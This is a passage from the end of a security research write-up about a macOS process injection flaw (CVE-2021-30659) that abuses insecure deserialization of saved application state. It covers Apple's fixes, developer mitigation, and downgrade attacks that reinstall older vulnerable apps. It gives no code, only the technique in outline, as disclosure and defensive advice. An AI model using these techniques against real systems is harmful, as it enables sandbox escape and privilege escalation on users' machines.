Apple first fixed the sandbox escape in 11.3, by no longer reading the saved state of the application in com.apple.appkit.xpc.openAndSavePanelService (CVE-2021-30659).

Fixing the rest of the vulnerability was more complicated. Third-party applications may store their own objects in the saved state and these objects might not support secure coding. This brings us back to the method from the introduction: -applicationSupportsSecureRestorableState:. Applications can now opt-in to requiring secure coding for their saved state by returning TRUE from this method. Unless an app opts in, it will keep allowing non-secure coding, which means process injection might remain possible.

This does highlight one issue with the current design of these security measures: downgrade attacks. The code signature (and therefore entitlements) of an application will remain valid for a long time, and the TCC permissions of an application will still work if the application is downgraded. A non-sandboxed application could just silently download an older, vulnerable version of an application and exploit that. For the SIP bypass this would not work, as “macOS Update Assistant.app” does not run on macOS Monterey because certain private frameworks no longer contain the necessary symbols. But that is a coincidental fix, in many other cases older applications may still run fine. This vulnerability will therefore be present for as long as there is backwards compatibility with older macOS applications!

Nevertheless, if you write an Objective-C application, please make sure you add -applicationSupportsSecureRestorableState: to return TRUE and to adapt secure coding for all classes used for your saved states!

# Conclusion

In the current security architecture of macOS, process injection is a powerful technique. A generic process injection vulnerability can be used to escape the sandbox, elevate privileges to root and to bypass SIP’s filesystem restrictions. We have demonstrated how we used the use of insecure deserialization in the loading of an application’s saved state to inject into any Cocoa process. This was addressed by Apple in the macOS Monterey update.

1. It is unclear what security the AES encryption here is meant to add, as the key is stored right next to it. There is no MAC, so no integrity check for the ciphertext. ↩︎

• There are no more articles